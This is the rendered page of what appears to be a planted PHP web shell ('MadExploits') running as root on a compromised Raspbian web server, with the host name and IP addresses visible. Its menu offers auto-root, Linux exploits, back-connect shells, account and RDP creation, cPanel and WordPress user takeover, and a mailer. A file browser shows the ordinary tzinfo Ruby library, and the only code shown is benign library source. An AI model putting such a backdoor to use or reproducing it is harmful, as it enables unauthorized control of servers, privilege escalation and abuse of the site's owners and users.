Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
tzinfo /
[ HOME SHELL ]
Name
Size
Permission
Action
country.rb
6.1
KB
-rw-r--r--
country_index_definition.rb
962
B
-rw-r--r--
country_info.rb
1.14
KB
-rw-r--r--
country_timezone.rb
5
KB
-rw-r--r--
data_source.rb
6.94
KB
-rw-r--r--
data_timezone.rb
2.14
KB
-rw-r--r--
data_timezone_info.rb
2.01
KB
-rw-r--r--
info_timezone.rb
571
B
-rw-r--r--
linked_timezone.rb
2.36
KB
-rw-r--r--
linked_timezone_info.rb
835
B
-rw-r--r--
offset_rationals.rb
3.64
KB
-rw-r--r--
ruby_core_support.rb
4.57
KB
-rw-r--r--
ruby_country_info.rb
2.44
KB
-rw-r--r--
ruby_data_source.rb
4.15
KB
-rw-r--r--
time_or_datetime.rb
10.46
KB
-rw-r--r--
timezone.rb
24.99
KB
-rw-r--r--
timezone_definition.rb
981
B
-rw-r--r--
timezone_index_definition.rb
1.6
KB
-rw-r--r--
timezone_info.rb
747
B
-rw-r--r--
timezone_offset.rb
3.72
KB
-rw-r--r--
timezone_period.rb
8.76
KB
-rw-r--r--
timezone_proxy.rb
3.7
KB
-rw-r--r--
timezone_transition.rb
4.28
KB
-rw-r--r--
timezone_transition_definition...
3.76
KB
-rw-r--r--
transition_data_timezone_info....
9.67
KB
-rw-r--r--
zoneinfo_country_info.rb
1.19
KB
-rw-r--r--
zoneinfo_data_source.rb
19.12
KB
-rw-r--r--
zoneinfo_timezone_info.rb
11.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ruby_country_info.rb
module TZInfo # Represents information about a country returned by RubyDataSource. # # @private class RubyCountryInfo < CountryInfo #:nodoc: # Constructs a new CountryInfo with an ISO 3166 country code, name and # block. The block will be evaluated to obtain the timezones for the # country when the zones are first needed. def initialize(code, name, &block) super(code, name) @block = block @zones = nil @zone_identifiers = nil end # Returns a frozen array of all the zone identifiers for the country. These # are in the order they were added using the timezone method. def zone_identifiers # Thread-safety: It is possible that the value of @zone_identifiers may be # calculated multiple times in concurrently executing threads. It is not # worth the overhead of locking to ensure that @zone_identifiers is only # calculated once. unless @zone_identifiers result = zones.collect {|zone| zone.identifier}.freeze return result if frozen? @zone_identifiers = result end @zone_identifiers end # Returns a frozen array of all the timezones for the for the country as # CountryTimezone instances. These are in the order they were added using # the timezone method. def zones # Thread-safety: It is possible that the value of @zones may be # calculated multiple times in concurrently executing threads. It is not # worth the overhead of locking to ensure that @zones is only # calculated once. unless @zones zones = Zones.new @block.call(zones) if @block result = zones.list.freeze return result if frozen? @block = nil @zones = result end @zones end # An instance of the Zones class is passed to the block used to define # timezones. # # @private class Zones #:nodoc: attr_reader :list def initialize @list = [] end # Called by the index data to define a timezone for the country. def timezone(identifier, latitude_numerator, latitude_denominator, longitude_numerator, longitude_denominator, description = nil) @list << CountryTimezone.new!(identifier, latitude_numerator, latitude_denominator, longitude_numerator, longitude_denominator, description) end end end end
Close